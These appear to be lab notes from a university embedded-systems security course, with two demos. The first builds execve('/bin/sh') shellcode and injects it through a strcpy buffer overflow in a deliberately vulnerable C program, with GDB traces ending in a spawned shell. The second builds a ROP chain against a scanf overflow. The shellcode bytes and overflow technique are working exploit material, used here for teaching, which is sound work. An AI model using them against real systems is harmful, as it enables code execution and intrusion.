Embedded Systems Security (CS6898) Demo

Demo-1

Buffer Overflow for Spawning a shell (`/bin/sh`)

Code that we want to run

```
1   | void main(){
2   | execve("/bin/sh");
3   | }
```

ASM for calling `/bin/sh` using `execve()`

```
section .text
global _start

_start:
    jmp short next          ; Jump over the string definition to continue
execution

    db '/bin/sh', 0         ; Define the string "/bin/sh" with a null terminator
(0)

next:
    pop esi                 ; Pop the address of the string into the ESI register
    xor eax, eax            ; Clear the EAX register (set it to 0)

    ; Prepare the stack for execve:
    mov [esi + 0x8], esi    ; Store the address of the string at offset 8 from ESI
(for argv[0])
    mov [esi + 0x7], al     ; Null-terminate the string at the 7th byte (after
"sh")
    mov [esi + 0xc], eax     ; Null-terminate the environment pointer (envp)

    ; Set up for the execve syscall:
    mov al, 0x0b            ; Load syscall number for execve into AL
    mov ebx, esi            ; Set EBX to point to the string "/bin/sh"
    lea ecx, [esi + 0x8]    ; Load ECX with the address of the arguments (argv)
    lea edx, [esi + 0xc]    ; Load EDX with the address of the environment (null)

    int 0x80                ; Trigger interrupt 0x80 to call the kernel (execve)
```

ASM code and their corresponding hex bytes

```
section .text
global _start

_start:
    jmp short next          ; eb 18
    db '/bin/sh', 0         ; 2f 62 69 6e 2f 73 68 00

next:
    pop esi                 ; 5e
    xor eax, eax            ; 31 c0
    mov [esi + 0x8], esi    ; 89 76 08
    mov [esi + 0x7], al     ; 88 46 07
    mov [esi + 0xc], eax     ; 89 46 0c
    mov al, 0x0b            ; b0 0b
    mov ebx, esi            ; 89 f3
    lea ecx, [esi + 0x8]    ; 8d 4e 08
    lea edx, [esi + 0xc]    ; 8d 56 0c
    int 0x80                ; cd 80
```

Byte sequence

```
"\xeb\x18\x5e\x31\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\
x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh        "
```

Vulnerable program to inject the byte sequence

```
  // without zeros
char shellcode[] =
"\xeb\x18\x5e\x31\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\
x08\x8d\x56\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh        ";

char large_string[128];

void main() {
        char buffer[48];
        int i;
        long *long_ptr = (long *) large_string;

        for(i=0; i < 32; ++i) // 128/4 = 32
                long_ptr[i] = (int) buffer+4;

        for(i=0; i < strlen(shellcode); i++){
                large_string[i+4] = shellcode[i];
        }

    strcpy(buffer, large_string);
}
```

We load the executable in GDB and use the following commands to observe the stack during execution

```
gdb shell
```

gdb command	Functionality
`break 17`	Set a breakpoint at line 17
`break 18`	Set a breakpoint at line 18
`run`	Run the program
`p/x large_string[4]@35`	Print the content of `large_string[4]` with size 35
`info frame`	Display information about the current function
`x/10x $sp`	Print the stack content (10 words at stack pointer)
`si 5`	Single-step through 5 instructions
`si`	Single-step and enter `strcpy()` call
`finish`	Finish the executing the `strcpy()` function
`x/10x $sp`	Print the stack content again
`si 6`	Single-step through 6 more instructions

We see that our ^byte-sequence is now loaded in `large_string` correctly

```
//print values stored in large_string[offset]@how_many_values_to_print
gef➤  p/x large_string[4]@35
$2 = {0xeb, 0x18, 0x5e, 0x31, 0xc0, 0x89, 0x76, 0x8, 0x88, 0x46, 0x7, 0x89, 0x46,
0xc, 0xb0, 0xb, 0x89, 0xf3, 0x8d, 0x4e, 0x8, 0x8d, 0x56, 0xc, 0xcd, 0x80, 0xe8,
0xe3, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e}
```

Checking the current stack frame addresses using `info frame`

```
gef➤  i f
Stack level 0, frame at 0xffffd270:
  eip = 0x5655623e in main (shell.c:17); saved eip = 0xf7d8f519
  source language c.
  Arglist at 0xffffd258, args:
  Locals at 0xffffd258, Previous frame's sp is 0xffffd270
  Saved registers:
  ebx at 0xffffd254, ebp at 0xffffd258, eip at 0xffffd26c
```

We hit our first break-point at `line-17`

```
──────────────────────────────────────────────────────────────── code:x86:32 ────
   0x56556237 <main+138>       mov    edx, DWORD PTR [ebp-0xc]
   0x5655623a <main+141>       cmp    eax, edx
   0x5655623c <main+143>       ja     0x56556206 <main+89>
 → 0x5655623e <main+145>       sub    esp, 0x8
   0x56556241 <main+148>       lea    eax, [ebx+0xac]
   0x56556247 <main+154>       push   eax
```

```
   0x56556248 <main+155>       lea    eax, [ebp-0x40]
   0x5655624b <main+158>       push   eax
   0x5655624c <main+159>       call   0x56556050 <strcpy@plt>
──────────────────────────────────────────────────────────────── source:shell.c+17 ────
    12
    13         for(i=0; i < strlen(shellcode); i++){
    14                 large_string[i+4] = shellcode[i];
    15         }
    16
                       // buffer=0xffffd218  →  0x01000000
●→  17      strcpy(buffer, large_string);
●   18  }
──────────
```

Print state of the stack from `esp`

```
0xffffd210:     0x00000000      0x00000000      0x01000000      0x0000000b
0xffffd220:     0xf7fc4570      0x00000000      0xf7d864be      0xf7f98054
0xffffd230:     0xf7fbe4a0      0xf7fd6f90
```

Single-step and execute 5 instructions to reach the `call` to `strcpy`

```
──────────────────────────────────────────────────────────────── code:x86:32 ────
   0x56556247 <main+154>       push   eax
   0x56556248 <main+155>       lea    eax, [ebp-0x40]
   0x5655624b <main+158>       push   eax
 → 0x5655624c <main+159>       call   0x56556050 <strcpy@plt>
   ↳  0x56556050 <strcpy@plt+0>   jmp    DWORD PTR [ebx+0x10]
      0x56556056 <strcpy@plt+6>   push   0x8
      0x5655605b <strcpy@plt+11>  jmp    0x56556030
      0x56556060 <strlen@plt+0>   jmp    DWORD PTR [ebx+0x14]
      0x56556066 <strlen@plt+6>   push   0x10
      0x5655606b <strlen@plt+11>  jmp    0x56556030
──────────────────────────────────────────────────────────────── source:shell.c+17 ────
    12
    13         for(i=0; i < strlen(shellcode); i++){
    14                 large_string[i+4] = shellcode[i];
    15         }
    16
                       // buffer=0xffffd218  →  0x01000000
●→  17      strcpy(buffer, large_string);
●   18
```

Enter `strcpy`, `finish` executing `strcpy`, return to main and then print stack

```
0xffffd210:     0x00000000      0x00000000      0xffffd21c      0x315e18eb
0xffffd220:     0x087689c0      0x89074688      0x0bb00c46      0x4e8df389
0xffffd230:     0x0c568d08      0xe3e880cd
```

We can see that the shell code has overflown and correctly placed onto the stack and return address, we are still at the `line-18` break-point

```
──────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd210|+0x0000: 0x00000000   ← $esp
0xffffd214|+0x0004: 0x00000000
0xffffd218|+0x0008: 0xffffd21c  →  0x315e18eb  #start of our shellcode
0xffffd21c|+0x000c: 0x315e18eb
0xffffd220|+0x0010: 0x087689c0
0xffffd224|+0x0014: 0x89074688
0xffffd228|+0x0018: 0x0bb00c46
0xffffd22c|+0x001c: 0x4e8df389
──────────────────────────────────────────────────────────────────────────── code:x86:32 ────
   0x5655624b <main+158>       push   eax
   0x5655624c <main+159>       call   0x56556050 <strcpy@plt>
   0x56556251 <main+164>       add    esp, 0x10
 → 0x56556254 <main+167>       nop
   0x56556255 <main+168>       lea    esp, [ebp-0x8]
   0x56556258 <main+171>       pop    ecx
   0x56556259 <main+172>       pop    ebx
   0x5655625a <main+173>       pop    ebp
   0x5655625b <main+174>       lea    esp, [ecx-0x4]
──────────────────────────────────────────────────────────────────── source:shell.c+18 ────
     13         for(i=0; i < strlen(shellcode); i++){
     14                 large_string[i+4] = shellcode[i];
     15         }
     16
●    17      strcpy(buffer, large_string);
●→   18  }
```

Single stepping 6 instructions from, break-point at `line-18` to reach the `ret`

```
0x56556259 <main+172>       pop    ebx
0x5655625a <main+173>       pop    ebp
0x5655625b <main+174>       lea    esp, [ecx-0x4] //executed till here
→ 0x5655625e <main+177>       ret  //this instruction will be executed now
↳  0xffffd21c                  jmp    0xffffd236
      0xffffd21e                  pop    esi
      0xffffd21f                  xor    eax, eax
      0xffffd221                  mov    DWORD PTR [esi+0x8], esi
      0xffffd224                  mov    BYTE PTR [esi+0x7], al
      0xffffd227                  mov    DWORD PTR [esi+0xc], eax
//below is where the program is in execution relative to source code
──────────────────────────────────────────────────────source:shell.c+18 ────
     13         for(i=0; i < strlen(shellcode); i++){
     14                 large_string[i+4] = shellcode[i];
     15         }
     16
●    17      strcpy(buffer, large_string); //previous breakpoint
●→   18  } //we are at this breakpoint right now
```

We see that the `ret` will now start executing our ^shellcode

Continuing results in spawning `/bin/sh` and we have successfully exploited the vulnerability

```
#since we are running the executable in a debugger GDB will detect and display
that the program is actally making a call to /bin/sh (/bin/sh points to /bin/dash
on my machine)

process 2122037 is executing new program: /usr/bin/dash
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
$ ls
[Detaching after vfork from child process 2122268]
Makefile  a.c  a.out  gdb_script.gdb  shell  shell.c
$ whoami
[Detaching after vfork from child process 2122438]
ritwik
$
```

Demo-2

Return Oriented Programming (ROP) chain for subverting execution

Goals

1. Subvert execution
2. Find gadgets to compute 73 * 21
3. Find gadgets to print the result

Files

```
❯ ls
main
main.c
payload
```

Code

```
#include <stdio.h>
#include <unistd.h>

int main()
{
    char buf[20];
    int a = 21, b  = 21, c;
    printf("This program ONLY adds 21 to itself\n");
    printf("21 + 21 = ");
```

```
    c = a + b;
    printf("%d\n", c);
    printf("Anything to say?\n");
    scanf("%s", buf);
    return 0;
}
```

Executable file

```
❯ file main
main: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically
linked, BuildID[sha1]=2254534e3a217269c1ff3ec6b6c38f343d9da25d, for GNU/Linux
3.2.0, not stripped
```

Executable enabled security options

```
❯ checksec --file=main
[*] 'demo/main'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
```

Normal execution

```
❯ ./main
This program ONLY adds 21 to itself
21 + 21 = 42
Anything to say?
"nothing"

❯
```

Find gadgets in the binary

```
ROPgadget --binary main
ROPgadget --binary main | ag '; ret$' --color-match=31
ROPgadget --binary main | ag 'mul.*; ret$' --color-match=31
# for people that are using grep to follow the demo; the query remains the same
# ❯ ROPgadget --binary main | grep -E 'mul.*; ret$'
```

Building the ROP gadget chain

```
; Padding of 40 bytes
pop edx :: xor eax, eax :: pop edi :: ret

pop eax :: ret ; eax has the value 21
pop ebx :: ret ; ebx has the value 73
```

```
imul eax, ebx :: add eax, 0xa :: ret ;
pop ecx :: ret ; ecx has the value 0x5
sub eax, ecx :: ret ;
pop ecx :: ret ; ecx has the value 0x5
sub eax, ecx :: ret ;

add esp, 4 :: pop ebx :: pop esi :: pop edi :: pop ebp :: ret
; Padding of 8 bytes
; Address of printf, exit, %d\n
push eax :: pop ebx :: pop esi :: pop edi :: ret
; Padding of 8 bytes
sub esp, edx :: ret
```

Output with generated `payload` as input

```
❯ ./main < payload
This program ONLY adds 21 to itself
21 + 21 = 42
Anything to say?
1533
```